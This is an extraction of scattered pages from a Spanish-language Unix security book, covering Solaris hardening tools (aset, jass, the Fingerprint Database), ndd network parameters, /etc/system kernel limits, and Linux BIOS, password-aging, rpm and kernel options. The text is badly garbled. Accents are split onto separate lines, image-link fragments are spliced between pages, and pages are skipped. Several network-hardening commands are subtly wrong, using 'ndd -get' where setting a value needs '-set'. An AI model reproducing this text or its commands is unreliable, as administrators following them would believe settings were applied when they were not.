este hecho:
anita:/# grep inittab /usr/aset/reports/latest/cklist.rpt
< -rw-r--r-- 1 root sys 1087 Jan 5 23:38 2000 /etc/inittab 26732 3
> -rw-r--r-- 1 root sys 1237 Jun 28 19:58 2001 /etc/inittab 37235 3
anita:/#
Quiz´s una pr´ctica recomendable para incrementar nuestra seguridad pueda ser planificar la eje-
a a
cuci´n de ‘aset’ para que se ejecute a intervalos peri´dicos desde ‘crond’ y para que nos avise
o o
(por ejemplo, mediante correo electr´nico) de cualquier anomal´ detectada en la m´quina. Si lo
o ıa a
hacemos as´ hemos de tener siempre presente que el nivel ‘high’ prima la seguridad por encima
ı,
de cualquier otra cosa, por lo que tras una ejecuci´n planificada de ‘aset’ es posible que alguna
o
aplicaci´n puntual deje de funcionar.
o
9.6.2 jass
jass (JumpStart Architecture and Security Scripts, tambi´n conocido como Solaris Security Toolkit)
e
es un paquete software formado por diferentes herramientas cuyo objetivo es facilitar y automatizar
la creaci´n y el mantenimiento de entornos Solaris seguros; ha sido desarrollado por Alex Noorder-
o
graaf y Glenn Brunette, dos expertos en seguridad de Sun Microsystems conocidos – especialmente
el primero de ellos – por los BluePrints que peri´dicamente publican. Se puede ejecutar sobre una
o
m´quina donde previamente hemos instalado Solaris (Standalone Mode), o bien durante la propia
a
instalaci´n del operativo (JumpStart Technology Mode): conseguimos as´ una instalaci´n por defec-
o ı o
to segura, algo que se echa de menos en casi cualquier Unix.
Probablemente la parte m´s importante de jass son los denominados drivers, ficheros ´n que es-
a o
pecifican diferentes niveles de ejecuci´n de la herramienta, definiendo qu´ scripts se han de ejecutar
o e
en cada uno de esos niveles y qu´ archivos se instalar´n como resultado de la ejecuci´n. Cada uno
e a o
de estos drivers est´ ubicado en el subdirectorio Drivers/ del programa, y tiene tres partes bien
a
diferenciadas ([NB01b]): la primera se encarga de inicializar ciertas variables de entorno necesarias
para una correcta ejecuci´n del driver, la segunda de definir qu´ ficheros se han de modificar y qu´
o e e
scripts se han de ejecutar, y una tercera parte es la encargada final de llevar a cabo los cambios
correspondientes.
En un sistema Solaris ya instalado podemos invocar desde l´
ınea de ´rdenes a jass pas´ndole como
o a
par´metro el driver que deseemos ejecutar, por ejemplo secure.driver (un driver que implementa
a
por s´ s´lo todas las funcionalidades de jass):
ı o
anita:/var/tmp/jass-0.3# ./jass-execute -d secure.driver -o jass.log
./jass-execute: NOTICE: Executing driver, secure.driver
./jass-execute: NOTICE: Recording output to jass.log
anita:/var/tmp/jass-0.3#
Todos los cambios que la ejecuci´n anterior provoca (en el ejemplo anterior podemos verlos en
o
el archivo ‘jass.log’, o en salida est´ndar si no utilizamos la opci´n ‘-o’) quiz´s convierten a
a o a
nuestro sistema en uno ‘demasiado seguro’: es posible que perdamos parte de la funcionalidad de
la que dispon´ıamos, debido al elevado n´mero de restricciones llevadas a cabo en el sistema; es
u
necesario que cada administrador revise sus necesidades y los scripts a los que va a invocar antes de
ejecutar jass. Afortunadamente, una de las caracter´ ısticas m´s importantes de esta herramienta
a
es su capacidad para deshacer los cambios que cualquiera de sus ejecuciones haya llevado a cabo:
anita:/var/tmp/jass-0.3# ./jass-execute -u -o jass-undo.log
./jass-execute: NOTICE: Executing driver, undo.driver
Please select a JASS run to restore through:
1. July 06, 2001 at 03:59:40 (//var/opt/SUNWjass/run/20010706035940)](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-169-320.jpg)
![152 CAP´
ITULO 9. SOLARIS
Choice? 1
./jass-execute: NOTICE: Restoring to previous run //var/opt/SUNWjass/run/
20010706035940
./jass-execute: NOTICE: Recording output to jass-undo.log
anita:/var/tmp/jass-0.3#
Podemos ver que la desinstalaci´n de los cambios llevados a cabo previamente, mediante la opci´n
o o
‘-u’ del programa, nos pregunta qu´ ejecuci´n de jass queremos desinstalar; como s´lo lo hab´
e o o ıamos
lanzado una vez, hemos elegido ‘1’, pero si ya hubi´ramos ejecutado la herramienta en diferentes
e
ocasiones se nos mostrar´ todas ellas, con lo cual siempre podemos devolver a la m´quina a un
ıan a
estado previo a cualquier ejecuci´n de jass. Esta caracter´
o ıstica es bastante importante, ya que
volvemos a insistir en que, en funci´n del driver al que invoquemos, el sistema puede quedar incluso
o
demasiado ‘securizado’: por poner un ejemplo, la ejecuci´n de secure.driver eliminar´ cualquier
o ıa
acceso est´ndar al sistema (telnet, ftp, rsh. . . ), con lo que ser´ necesario de disponer de una
a ıa
consola o de ssh para acceder remotamente a la m´quina tras la ejecuci´n de jass.
a o
Como hemos dicho antes, tambi´n es posible integrar jass en la propia instalaci´n del sistema
e o
operativo Solaris; para ello hemos de basarnos en la arquitectura JumpStart de Sun Microsystems
([Noo01]), copiando el paquete de software en el directorio ra´ del servidor JumpStart y siguiendo
ız
unos pasos simples explicados con detalle en [NB01c]. Con unas sencillas modificaciones de algunos
ficheros, conseguiremos una instalaci´n por defecto segura, lo que evitar´ que el administrador de
o a
los sistemas tenga que ir m´quina a m´quina para realizar el t´
a a ıpico hardening postinstalaci´n (cerrar
o
puertos, configurar accesos. . . ).
La que acabamos de ver es una herramienta muy recomendable en cualquier sistema Solaris,
ya que consigue automatizar muchas tareas que de otra forma el administrador deber´ realizar
ıa
manualmente. Su potencia, unida a su sencillez de uso (y ‘desuso’), la convierten en algo si no
imprescindible s´ muy importante en nuestros sistemas; incomprensiblemente no se utiliza de forma
ı
extendida, aunque es previsible que con sus nuevas versiones (actualmente est´ disponible la 0.3)
a
esto comience a cambiar pronto. Podemos obtener informaci´n adicional de esta herramienta en
o
los BluePrints publicados por Sun Microsystems y que se distribuyen, aparte de v´ web, en el
ıa
directorio Documentation/ de la misma: [NB01b], [NB01a], [NB01c], [NB01d]. . .
9.6.3 sfpdb
La base de datos sfpdb (Solaris Fingerprint Database) es un servicio gratuito de Sun Microsystems
que permite a los usuarios verificar la integridad de los archivos distribuidos con Solaris, tanto con
la base del operativo como con productos concretos de Sun o parches; esto permite por una parte
verificar que lo que acabamos de instalar en una m´quina es realmente una distribuci´n de Solaris
a o
oficial de Sun, y por otra detectar si un pirata ha logrado modificar alguno de los ficheros del sistema
(como /bin/login), t´ ıpicamente para situar troyanos o puertas traseras en una m´quina atacada:
a
se trata de un sistema de detecci´n de intrusos basado en host, como veremos a la hora de hablar
o
de IDSes.
Para lograr su objetivo, desde http://sunsolve.sun.com/ se puede comparar la funci´n resumen
o
md5 de determinados archivos que tenemos en nuestra m´quina con el resumen almacenado por
a
Sun Microsystems. Para ello en primer lugar hemos de generar el resumen de los ficheros que de-
seemos verificar, mediante la orden md5 (instalada como parte del paquete SUNWkeymg o de forma
independiente):
anita:/# pkgchk -l -p /usr/sbin/md5
Pathname: /usr/sbin/md5
Type: regular file
Expected mode: 0755
Expected owner: root
Expected group: sys
Expected file size (bytes): 24384
Expected sum(1) of contents: 12899](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-170-320.jpg)
![9.6. EXTENSIONES DE LA SEGURIDAD 153
Expected last modification: Nov 11 20:19:48 1999
Referenced by the following packages:
SUNWkeymg
Current status: installed
anita:/# md5 /bin/su
MD5 (/bin/su) = 79982b7b2c7576113fa5dfe316fdbeae
anita:/#
Una vez hecho esto, introduciremos este resumen en un formulario web, y se nos proporcionar´
a
informaci´n sobre el mismo; si no hay problemas, el resultado ser´ similar al siguiente:
o a
Results of Last Search
79982b7b2c7576113fa5dfe316fdbeae - (/bin/su) - 1 match(es)
canonical-path: /usr/bin/su
package: SUNWcsu
version: 11.8.0,REV=2000.01.08.18.17
architecture: i386
source: Solaris 8/Intel
Mientras que si el resumen que hemos obtenido no se corresponde con el de ning´n fichero de las
u
diferentes versiones de Solaris u otro software de Sun, se nos dar´ el error Not found in this database.
a
Este error de entrada implica que en nuestra m´quina tenemos algo cuanto menos ‘extra˜o’, ya que
a n
es extremadamente raro que un archivo del sistema como /bin/su, /bin/ps o /bin/ls sea mod-
ificado en un sistema. Si fuera este el caso, y como administradores desconocemos a qu´ puede e
ser debida esa modificaci´n, con una alta probabilidad nos han instalado un rootkit, un conjunto
o
de herramientas utilizadas por los piratas principalmente para ocultar su presencia y garantizarse
el acceso en una m´quina donde han conseguido privilegios de root; un rootkit instala versiones
a
troyanizadas de casi todos los programas que pueden ayudar en la detecci´n del pirata, como ‘ls’
o
o ‘netstat’, lo que provoca que si no ponemos un m´ ınimo de inter´s sea muy dif´ detectar la
e ıcil
intrusi´n.
o
Existen adem´s ciertas extensiones a la sfpdb cuyo objetivo es facilitar el uso de la base de datos
a
[DNO01]; una de ellas es sfpc (Solaris Fingerprint Database Companion), que automatiza el proceso
de generar y verificar los res´menes md5 de un n´mero considerable de archivos mediante un script
u u
en perl (recordemos que un simple interfaz web que invoca a un cgi no es apropiado para todas las
aplicaciones, por lo que Sun Microsystems est´ estudiando la posibilidad de publicar de otra forma
a
el contenido completo de la base de datos). Para conseguirlo, sfpc acepta como entrada un fichero
que contiene una lista de res´menes, dividi´ndola en diferentes partes para enviarlas por separado
u e
a la sfpdb, y generando resultados globales en funci´n de cada uno de los resultados individuales
o
obtenidos.
Otra de estas herramientas es sfps (Solaris Fingerprint Database Sidekick), un sencillo shellscript
que funciona en conjunci´n con la propia sfpdb y con sfpc y cuyo objetivo es simplificar la detecci´n
o o
de troyanos; para ello, almacena una lista de ejecutables com´nmente troyanizados por cualquier
u
rootkit, y es el contenido de dicha lista el que se compara contra la base de datos mediante el script
en perl de sfpc.
Evidentemente esta base de datos de Sun Microsystems y sus utilidades asociadas (que podemos
descargar libremente desde las p´ginas web de esta compa˜´
a nıa), como cualquier otro producto a
la hora de hablar de seguridad, no es la panacea, sino s´lo una herramienta m´s que nos puede
o a
ayudar a detectar intrusiones en una m´quina. Tambi´n tiene puntos d´biles, ya que por ejemplo
a e e
un atacante que sea capaz de modificar ciertas utilidades del sistema podr´ hacer lo mismo con el
a
ejecutable ‘md5’, de forma que simule generar resultados similares a los originales cuando verifi-
camos la integridad de utilidades troyanizadas; contra esto, una soluci´n efectiva puede ser utilizar
o
un ‘md5’ est´tico y guardado en una unidad de s´lo lectura, y por supuesto generado a partir de
a o
fuentes confiables. Sin ser una herramienta excluyente, mediantes consultas automatizadas a la](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-171-320.jpg)
![9.7. EL SUBSISTEMA DE RED 155
Otros par´metros a tener en cuenta para incrementar nuestro nivel de seguridad son algunos rela-
a
tivos a ataques contra el protocolo arp; para prevenir el ARP Spoofing es recomendable reducir el
timeout que Solaris presenta por defecto y que marca la frecuencia de borrado de las entradas de
la tabla arp y de la tabla de rutado, fijando ambas en un minuto. Esto lo conseguimos mediante
las ´rdenes siguientes (en las que especificamos el tiempo en milisegundos):
o
anita:/# ndd -get /dev/arp arp_cleanup_interval 60000
anita:/# ndd -get /dev/ip ip_ire_flush_interval 60000
anita:/#
Dentro del protocolo icmp tambi´n existen par´metros del subsistema de red interesantes para nues-
e a
tra seguridad; un grupo de ellos son los relacionados con los diferentes tipos de tramas icmp que
pueden implicar un broadcast: icmp echo request, icmp timestamp e icmp address mask.
Todos ellos pueden ser utilizados para causar negaciones de servicio, por lo que una buena idea en la
mayor parte de situaciones es simplemente ignorarlos; incluso en el segundo caso (icmp timestamp)
Solaris ofrece la posibilidad de ignorar las tramas de este tipo aunque no sean broadcasts, simple-
mente paquetes dirigidos a un host deterinado, ya que pueden proporcionar informaci´n del sistema
o
util de cara a un ataque. Para conseguir ignorar todas estas tramas podemos ejecutar estas ´rdenes:
´ o
anita:/# ndd -get /dev/ip ip_respond_to_echo_broadcast 0
anita:/# ndd -get /dev/ip ip_respond_to_timestamp_broadcast 0
anita:/# ndd -get /dev/ip ip_respond_to_address_mask_broadcast 0
anita:/# ndd -get /dev/ip ip_respond_to_timestamp 0
anita:/#
Todav´ dentro del protocolo icmp, otro tipo de mensajes que nos pueden causar problemas son
ıa
los icmp redirect; es conveniente deshabilitar tanto su emisi´n (s´lo un router tiene la necesidad
o o
de enviar este tipo de tramas) como su recepci´n, ya que pueden ser utilizados para generar rutas
o
falsas en el subsistema de red de una m´quina. Para lograr ambas cosas podemos ejecutar las
a
siguientes ´rdenes:
o
anita:/# ndd -get /dev/ip ip_ignore_redirects 1
anita:/# ndd -get /dev/ip ip_send_redirects 0
anita:/#
La generaci´n de los n´meros iniciales de secuencia tcp es otro par´metro que seguramente nos
o u a
interesar´ modificar en un sistema Solaris; por defecto esta generaci´n se basa en incrementos
a o
pseudoaleatorios, lo que puede facilitar ataques de IP Spoofing contra el sistema. Podemos au-
mentar nuestro nivel de seguridad utilizando un esquema de generaci´n m´s robusto, basado en
o a
[Bel96], simplemente modificando el fichero /etc/default/inetinit para asignarle al par´metro
a
tcp strong iss un valor de 2:
anita:/# cat /etc/default/inetinit
# @(#)inetinit.dfl 1.2 97/05/08
#
# TCP_STRONG_ISS sets the TCP initial sequence number generation parameters.
# Set TCP_STRONG_ISS to be:
# 0 = Old-fashioned sequential initial sequence number generation.
# 1 = Improved sequential generation, with random variance in increment.
# 2 = RFC 1948 sequence number generation, unique-per-connection-ID.
#
TCP_STRONG_ISS=2
anita:/#
Al contrario de lo que sucede con ndd, cuyos cambios se pierden al reiniciar el sistema y hay que
planificar en el arranque si necesitamos hacerlos permanentes, la modificaci´n del fichero anterior no
o
tendr´ efecto hasta que el sistema vuelva a arrancar; si no queremos detener la m´quina, podemos
a a
conseguir lo mismo mediante la orden ‘ndd’ sobre el n´cleo en ejecuci´n:
u o
anita:/# ndd -set /dev/tcp tcp_strong_iss 2
anita:/#](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-173-320.jpg)
![´ ´
9.8. PARAMETROS DEL NUCLEO 157
ndd -set /dev/tcp tcp_strong_iss 2
#
anita:~# chmod 744 /etc/init.d/nddconf
anita:~# chown root:sys /etc/init.d/nddconf
anita:~# ln /etc/init.d/nddconf /etc/rc2.d/S70nddconf
anita:~#
Si queremos conocer mejor la configuraci´n de seguridad del subsistema de red de Solaris una
o
excelente obra que no deber´ faltar en la mesa de ning´n administrador de sistemas es [NW99];
ıa u
todo este punto est´ basado ampliamente en ella. Incluye, adem´s de explicaciones claras sobre el
a a
porqu´ del valor de cada par´metro para prevenir posibles ataques, un shellscript para planificar en
e a
el inicio del sistema, much´
ısimo m´s completo que el presentado aqu´ y aplicable a varias versiones
a ı,
de Solaris (incluyendo la 8); en sistemas en los que la seguridad es un factor a tener en cuenta
(¿todos?) es casi obligatorio utilizar esta planificaci´n.
o
9.8 Par´metros del n´ cleo
a u
En el archivo /etc/system el administrador de un equipo Solaris puede definir variables para el
n´cleo del sistema operativo, como el n´mero m´ximo de ficheros abiertos por un proceso o el uso de
u u a
memoria compartida, sem´foros y mensajes para intercomunicaci´n entre procesos. En este aparta-
a o
do vamos a comentar algunos de estos par´metros que pueden afectar a la seguridad; hablaremos
a
especialmente de aquellos que pueden y deben ser limitados para evitar diversos tipos de negaciones
de servicio, ataques que recordemos afectan a la disponibilidad de nuestros recursos.
Si deseamos ver el valor de alguno de los par´metros en el kernel que se est´ ejecutando en este
a a
momento, lo podemos hacer con la orden adb (n´tese que no ofrece ning´n prompt, hemos de es-
o u
cribir directamente el par´metro a visualizar, con un ‘/D’ al final para que nos muestre el valor en
a
decimal):
anita:~# adb -k /dev/ksyms /dev/mem
physmem 38da
maxusers/D
maxusers:
maxusers: 56
maxuprc/D
maxuprc:
maxuprc: 901
^d
anita:~#
Una negaci´n de servicio muy t´
o ıpica en Unix es el consumo excesivo de recursos por parte de
usuarios que lanzan – voluntaria o involuntariamente – demasiados procesos; esto es especialmente
com´n en sistemas de I+D, donde muchos usuarios se dedican a programar, y un peque˜o error
u n
en el c´digo (a veces denominado ‘runaway fork’) puede hacer que el sistema se vea parado por
o
un exceso de procesos activos en la tabla. La gravedad del problema aumenta si pensamos que
tambi´n es muy habitual que los usuarios lancen simulaciones que tardan en ejecutarse varios d´
e ıas
(o varias semanas), de forma que una parada inesperada puede causar la p´rdida de muchas horas
e
de trabajo. Por tanto, parece obvio que es recomendable limitar el n´mero de procesos simult´neos
u a
por usuario; en Solaris este n´mero est´ ilimitado por defecto, por lo que si deseamos asignar un
u a
valor m´ximo hemos de editar el fichero /etc/system e incluir una l´
a ınea como la siguiente:
set maxuprc=60
De esta forma limitamos el n´mero de procesos por usuario a 60 (un n´mero aceptable en la may-
u u
or´ de sistemas7 ), consiguiendo as´ que un error en un programa no sea capaz de detener la m´quina.
ıa ı a
7 Aunque en algunos documentos se recomienda, para otros Unices, un n´mero m´ximo de 200 procesos ([CH99]).
u a](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-175-320.jpg)
![158 CAP´
ITULO 9. SOLARIS
Un par´metro del sistema operativo especialmente importante, y que quiz´s nos interese modi-
a a
ficar (sobre todo en m´quinas con pocos recursos) es maxusers. Al contrario de lo que mucha
a
gente cree, maxusers no hace referencia al n´mero m´ximo de usuarios que pueden conectar si-
u a
mult´neamente al sistema, sino que es un valor que escala a otros par´metros del n´cleo (como
a a u
max nproc, n´mero m´ximo de procesos en la tabla) o maxuprc. Para modificarlo, podemos incluir
u a
en /etc/system una l´ınea con el valor deseado, generalmente el tama˜o en MB de la memoria f´
n ısica
de nuestra m´quina ([Dik99]):
a
set maxusers=128
Tambi´n puede ser conveniente limitar par´metros del sistema operativo relativos al sistema de
e a
ficheros, ya que tambi´n se pueden producir negaciones de servicio relacionadas con ellos. Por ejem-
e
plo, es interesante poder limitar el n´mero m´ximo de ficheros abiertos mediante los par´metros
u a a
rlim fd max (l´ ımite hard) y rlim fd cur (l´ımite soft) o evitar que los usuarios puedan utilizar
chown() en sus ficheros, especificando un valor 1 para la variable rstchown (este es el compor-
tamiento por defecto; si no lo seguimos, aparte de comprometer la seguridad los usuarios sin privi-
legios podr´ ignorar el sistema de quotas).
ıan
Dejando ya de lado los l´ ımites que se pueden imponer a los recursos consumidos por los usuar-
ios del sistema, existe otra serie de par´metros del n´cleo interesantes para aumentar la seguridad
a u
de un sistema Solaris. Por ejemplo, en algunas arquitecturas SPARC (concretamente en sun4u,
sun4d y sun4m) es posible, desde Solaris 2.6, establecer una protecci´n hardware para prevenir
o
ataques de buffer overflow. Esta protecci´n consiste en impedir que los programas puedan ejecutar
o
c´digo en su pila, recibiendo la se˜al sigsegv si tratan de hacerlo: para ello, en /etc/system hemos
o n
de incluir una l´
ınea como
set noexec_user_stack=1
Y si adem´s queremos monitorizar los intentos de ataque de este tipo (como mensajes del n´cleo
a u
de Solaris, con priority ‘kern’ y nivel ‘notice’, por defecto en /var/adm/messages), podemos
incluir en el archivo la l´
ınea
set noexec_user_stack_log=1
Si administramos un servidor nfs y deseamos que ignore las peticiones de clientes que no provengan
de puertos privilegiados (es decir, que no hayan sido solicitadas por un usuario privilegiado de la
m´quina cliente) podemos definir la variable nfs portmon en /etc/system; si usamos versiones
a
de Solaris anteriores a la 2.5, debemos incluir una l´
ınea como
set nfs:nfs_portmon = 1
mientras que en Solaris 2.5 y posteriores utilizaremos
set nfssrv:nfs_portmon = 1
Por ultimo, como ya comentamos en el punto dedicado a la seguridad eeprom, podemos deshabilitar
´
el acceso que se consigue a la misma al pulsar la combinaci´n de teclas ‘Stop–A’ en un teclado Sun;
o
para ello es necesario a˜adir en el fichero /etc/system una entrada como
n
set abort_enable=0
Antes de finalizar este punto, es necesario tener en cuenta que los cambios que se realicen en
/etc/system no tendr´n efecto hasta que la m´quina se reinicie, y que un peque˜o error en los
a a n
contenidos de este archivo puede provocar que un sistema no arranque, por lo que es siempre
recomendable guardar una copia antes de realizar cualquier modificaci´n del fichero.
o](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-176-320.jpg)
![160 CAP´
ITULO 10. LINUX
web, de bases de datos, de correo electr´nico, o como una sencilla workstation. En muchas empresas
o
medianas y peque˜as ha desplazado por completo a los sistemas Unix comerciales (caros y que gen-
n
eralmente corren sobre hardware que tampoco es barato), e incluso en grandes servidores se utiliza
Linux como sistema operativo; aunque – y esto es una cr´ ıtica, por si no queda claro – en algunas
ocasiones se echan de menos mecanismos de seguridad que s´ est´n disponibles en otros Unices,
ı a
podemos decir que Linux proporciona un nivel de seguridad, fiabilidad y estabilidad adecuado a la
mayor parte de aplicaciones gen´ricas que nos podamos imaginar (es decir, no es un operativo apto
e
para controlar una central nuclear, pero s´ para cualquier aplicaci´n de criticidad baja o media que
ı o
podamos utilizar d´ a d´
ıa ıa).
Al igual que hemos hecho en el cap´ ıtulo anterior con Solaris, vamos a hablar en este de aspec-
tos de seguridad espec´ ıficos de Linux, aunque como siempre lo que hemos comentado para Unix en
general es casi siempre aplicable a este clon. Sobre temas propios de Linux podemos obtener infor-
maci´n adicional y gratuita a trav´s de Internet, en cualquier documento del proyecto LDP (Linux
o e
Documentation Project); tambi´n existen numerosos libros sobre aspectos espec´
e ıficos de este opera-
tivo, desde la implementaci´n de su n´cleo ([BBD+ 96], [CDM97]. . . ) hasta su seguridad ([Tox00],
o u
[Ano01]. . . ), pasando por supuesto por temas de administraci´n gen´rica ([HN+ 99], [BPB00]. . . ).
o e
10.2 Seguridad f´
ısica en x86
Si cuando hemos hablado de Solaris hac´
ıamos referencia al nivel de seguridad m´s bajo que ofrece
a
una m´quina sparc, el correspondiente a su eeprom, parece obligatorio comentar, en el cap´
a ıtulo
dedicado a Linux, de la seguridad de m´s bajo nivel que ofrece este operativo ejecut´ndose sobre
a a
su principal plataforma: el PC.
Cuando arranca un ordenador personal se ejecuta un software denominado bios (Basic I/O Sys-
tem) cuya funci´n principal es determinar una serie de par´metros de la m´quina y proporcionar
o a a
un sistema b´sico de control de dispositivos, como el teclado o los puertos de comunicaciones; este
a
software se aloja t´
ıpicamente en una memoria rom (Read–Only Memory) o flash (estos ultimos ´
permiten actualizar la versi´n de la bios sin necesidad de cambiar el chip correspondiente), de
o
forma que se permita autoarrancar a la m´quina aunque el subsistema de almacenamiento tenga
a
problemas y no se pueda iniciar el operativo. En el arranque de un PC se puede acceder a la
configuraci´n de su bios mediante la pulsaci´n de una tecla o una secuencia de escape dependiente
o o
de cada modelo de chip; desde ese entorno de configuraci´n se pueden asignar par´metros como la
o a
fecha y hora del sistema, la arquitectura de los discos duros, o la habilitaci´n de memorias cach´.
o e
Por supuesto, la bios de un PC es completamente independiente del operativo que se arranque
despu´s; esto implica que cuando a continuaci´n comentemos la protecci´n que ofrece una bios,
e o o
lo que digamos ser´ aplicable sin importar qu´ operativo se ejecute en la m´quina: servir´
a e a a
tanto para Linux como para Solaris, FreeBSD, NetBSD. . . e incluso para las diferentes versiones de
Windows. Si lo comentamos en este cap´ ıtulo dedicado a Linux y no en otro, es unicamente porque
´
la mayor parte de plataformas sobre las que se ejecuta este operativo son ordenadores personales.
Generalmente la mayor parte de las bios ofrecen la posibilidad de establecer dos contrase˜as in-
n
dependientes. La primera de ellas es una clave que evita a usuarios que no la conozcan acceder a
la configuraci´n de la bios, ya que se solicitar´ al pulsar la secuencia de escape de la que hemos
o a
hablado antes para entrar en el entorno de configuraci´n durante el arranque de una m´quina. El
o a
esquema de esta contrase˜a en muchas ocasiones no es todo lo robusto que debiera, y en funci´n
n o
del modelo y versi´n de cada chip de memoria – especialmente en los m´s antiguos – es posible
o a
que incluso se pueda romper ejecutando un simple programa desde l´ ınea de ´rdenes; a pesar de
o
ello, puede ser util en entornos de muy baja seguridad para prevenir que cualquiera se dedique
´
a cambiar la configuraci´n de la bios, pero m´s por comodidad (el administrador de la m´quina
o a a
deber´ restaurar dicha configuraci´n de nuevo, algo bastante molesto sobre todo si el n´mero de
ıa o u
ordenadores es elevado, como en un laboratorio o un aula) que por seguridad.
La segunda de estas claves ofrece un nivel de protecci´n algo m´s elevado; se trata de una contrase˜a
o a n
que evita el arranque del PC sin que se teclee el password (en local, por supuesto, recordemos que el](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-178-320.jpg)
![10.4. EL SISTEMA DE PARCHEADO 167
prova NP 10/23/2001 0 99999 7 -1
luisa:~# passwd -l prova
Password changed.
luisa:~# passwd -S prova
prova L 10/23/2001 0 99999 7 -1
luisa:~#
El resto de campos del listado hacen referencia propiedades de envejecimiento de las claves: cuando
se cambi´ la contrase˜a de cada usuario por ultima vez, cuales son sus periodos de validez m´ximo
o n ´ a
y m´ınimo, el periodo de aviso y el periodo de inactividad antes de bloquear el acceso de forma
autom´tica; tambi´n mediante passwd (o equivalentemente mediante chage) podemos – como root
a e
– modificar esta informaci´n para cada uno de nuestros usuarios. Por ejemplo, si queremos que la
o
clave del usuario ‘prova’ tenga un periodo de validez m´ximo de un mes y m´
a ınimo de 10 d´ que
ıas,
se avise al usuario de que su clave va a caducar con una antelaci´n de una semana, y que si una
o
vez la clave ha caducado el usuario no entra al sistema en cinco d´ se bloquee su cuenta podemos
ıas
conseguirlo con la siguiente orden:
luisa:~# passwd -S prova
prova L 10/23/2001 0 99999 7 -1
luisa:~# passwd -x 30 -n 10 -w 7 -i 5 prova
Password changed.
luisa:~# passwd -S prova
prova L 10/23/2001 10 30 7 5
luisa:~#
Como en este caso la cuenta est´ bloqueada, los cambios tendr´n efecto cuando esta se desbloquee (o
a a
directamente se le asigne una nueva clave) y comience a ser utilizada; a diferencia de otros sistemas
Unix, el desbloqueo de un acceso en Linux guarda una especie de estado: conserva la contrase˜a n
que el usuario ten´ antes de que su cuenta fuera bloqueada.
ıa
10.4 El sistema de parcheado
A la hora de hablar de actualizaciones en Linux debemos distinguir entre la actualizaci´n del n´cleo
o u
del operativo y la de las diferentes aplicaciones del sistema. Esta ultima no es en ning´n momento
´ u
algo tan est´ndar como lo pueda ser en Unices comerciales como Solaris o AIX debido a que no
a
hay un unico modelo de Linux en el mercado, sino que existen diferentes clones de este operativo,
´
y a pesar de que todos son ‘Linux’ en cada uno de ellos se trabaja de forma diferente. Por contra,
si lo que se va a actualizar es el n´cleo de Linux en cualquiera de ellos se procede de la misma
u
forma, ya que el kernel es com´n a todas las distribuciones. Vamos a hablar primero brevemente
u
de los diferentes m´todos de actualizaci´n de aplicaciones en funci´n del Linux utilizado y despu´s
e o o e
comentaremos aspectos de actualizaci´n y parcheado del n´cleo.
o u
En Red Hat, y en todos los Linux basados en esta distribuci´n (Mandrake, Caldera. . . ) el software
o
se suele descargar precompilado desde Internet en un formato especial denominado rpm (Red Hat
Package Manager), que permite al administrador de un sistema instalar y desinstalar programas,
as´ como verificar versiones del software instalado en la m´quina; podemos encontrar una extensa
ı a
descripci´n de este formato en [Bai97], aunque la idea m´s elemental acerca del mismo es que se
o a
trata de un sistema de gesti´n (instalaci´n, actualizaci´n, borrado. . . ) de software capaz de hacer
o o o
comprobaciones de dependencia entre paquetes, ejecutar programas de pre y postinstalaci´n y de-o
tectar y solventar cierto tipo de conflictos entre diferentes paquetes o diferentes versiones del mismo.
Actualizar versiones de software mediante rpm es una tarea sencilla: normalmente el administrador
no tiene m´s que ejecutar ‘rpm -U’, orden que se encargar´ de instalar la nueva versi´n y eliminar
a a o
la antigua (si existe); es equivalente a ejecutar primero una instalaci´n (‘rpm -i’) del paquete
o
actualizado y despu´s un borrado (‘rpm -e’) de la versi´n anteriormente instalada en la m´quina.
e o a
Lo m´s habitual es ver en primer lugar la versi´n concreta de un paquete soft instalado en la
a o
m´quina, mediante ‘rpm -q’ (‘rpm -qa’ nos mostrar´ un listado de todos y cada uno de los
a a
paquetes instalados):](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-185-320.jpg)
![´
10.6. EL NUCLEO DE LINUX 171
10.6 El n´ cleo de Linux
u
10.6.1 Opciones de compilaci´n
o
A la hora de recompilar un nuevo n´cleo de Linux hemos de tener en cuenta algunas opciones dentro
u
del grupo ‘Networking Options’ que pueden afectar a la seguridad de nuestra m´quina (algunos
a
de estos aspectos, para n´cleos 2.0, pueden encontrarse en [Wre98]). Sin embargo, antes de entrar
u
en detalles con opciones concretas, es muy conveniente que introduzcamos soporte para sistemas
de ficheros proc en ‘Filesystems’ (config proc fs) y activemos el interfaz sysctl en ‘General
Setup’ (config sysctl); con estos pasos habilitamos la capacidad de Linux para modificar ciertos
par´metros del n´cleo (en /proc/sys/) sin necesidad de reiniciar el sistema o recompilar el kernel.
a u
Pasando ya a comentar algunas opciones que nos ofrece Linux, es bastante interesante para la
seguridad configurar nuestro sistema como un cortafuegos a la hora de compilar el n´cleo (con-
u
fig ip firewall). Linux ofrece en su kernel facilidades para definir un firewall de paquetes en el
sistema, que adem´s permitir´ el IP-Masquerading. Para que el subsistema de filtrado funcione es
a a
necesario que el IP-Forwarding est´ activado de la forma que m´s tarde veremos.
e a
Otra opci´n que nos puede ayudar a incrementar la seguridad de nuestro equipo es la defrag-
o
mentaci´n de paquetes (config ip always defrag) que llegan a trav´s de la red. Cuando un
o e
equipo situado entre el origen y el destino de los datos decide que los paquetes a enviar son de-
masiado grandes, los divide en fragmentos de longitud menor; sin embargo, los n´meros de puerto
u
s´lamente viajan en el primer fragmento, lo que implica que un atacante puede insertar informa-
o
ci´n en el resto de tramas que en teor´ no debe viajar en ellas. Activando esta opci´n, en nuestra
o ıa o
m´quina estos fragmentos se reagrupar´n de nuevo incluso si van a ser reenviados a otro host.
a a
Siguiendo con las diferentes opciones del subsistema de red, podemos habilitar el soporte para
‘SYN Cookies’ (config syn cookies) en el n´cleo que estamos configurando. Una red TCP/IP
u
habitual no puede soportar un ataque de negaci´n de servicio conocido como ‘SYN Flooding’, con-
o
sistente b´sicamente en enviar una gran cantidad de tramas con el bit SYN activado para as´ saturar
